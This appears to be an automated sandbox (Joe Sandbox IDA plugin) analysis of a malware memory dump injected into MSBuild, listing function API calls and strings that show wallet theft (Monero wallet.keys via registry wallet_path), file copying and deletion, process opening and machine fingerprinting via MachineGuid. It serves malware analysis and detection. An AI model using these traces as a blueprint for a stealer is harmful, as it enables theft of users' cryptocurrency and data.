String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

.keys, xrefs: 00401B0D
\Monero\wallet.keys, xrefs: 00401B2F

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction ID: 2364c372bad150323d67af03c4d359b51cc93a95bd900eacfe79e48eddbf336c
Opcode Fuzzy Hash: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction Fuzzy Hash: 13515EB1E5011D9BCF11EB25DD466DD7379AF04308F1050BAB60873191DA78AFC98F48

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Strings

\{A, xrefs: 00415FC2

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID: \{A
API String ID: 1546541418-1475862525
Opcode ID: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction ID: 1319a00e3beaa56ad984c577cc8328c236cda2b61ebb5edaa0c38c4a30c6fdde
Opcode Fuzzy Hash: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction Fuzzy Hash: 1E51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAFA09E3250EA35AB898F58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction ID: 446351bc283c4762e53d247ac54b49bb6219315ee7fac77137ec1a6eb046dabb
Opcode Fuzzy Hash: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction Fuzzy Hash: 4A5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 0041566F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

.{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID: .{A
API String ID: 3891774339-8545219
Opcode ID: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction ID: b4758eb7aeb23ac53986d5a941949a19eceae9c1109b67c9f6111efe06dcff68
Opcode Fuzzy Hash: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction Fuzzy Hash: 0C41C07194011D9FDF24EF60EC86EE9777ABB18309F4004AAB509A31A0EE759FC58F94

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

MachineGuid, xrefs: 00411640
SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction ID: c9c539ce5467448423737f6d9a950d2a9d5193a79ae08df00dacda0898e1b174
Opcode Fuzzy Hash: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction Fuzzy Hash: 7B111EB590021DAFDB10DF90DC89FEAB7BDEB04309F5041E6A659E2052E6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction ID: 3e4ac90b5bcc3d6fe188be62ffa2ac0dd84bb3fe34a2510e6e6e226720dcc0e4
Opcode Fuzzy Hash: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction Fuzzy Hash: 15F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E7B66A50D664

Function 0041BD34 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C), ref: 0041BD81
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000), ref: 0041BDB9

Strings

1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR, xrefs: 0041BE49

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID: 1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR
API String ID: 2024441833-75947119
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 96129ee170b6e52e4a698042c6e04e57a17f8ea6b04b39fd16cd668f0541581b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: F23165B05047049FDB349F25D898BE77AE9EB14354F108B2FE296D2680D33898C4CB99

Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
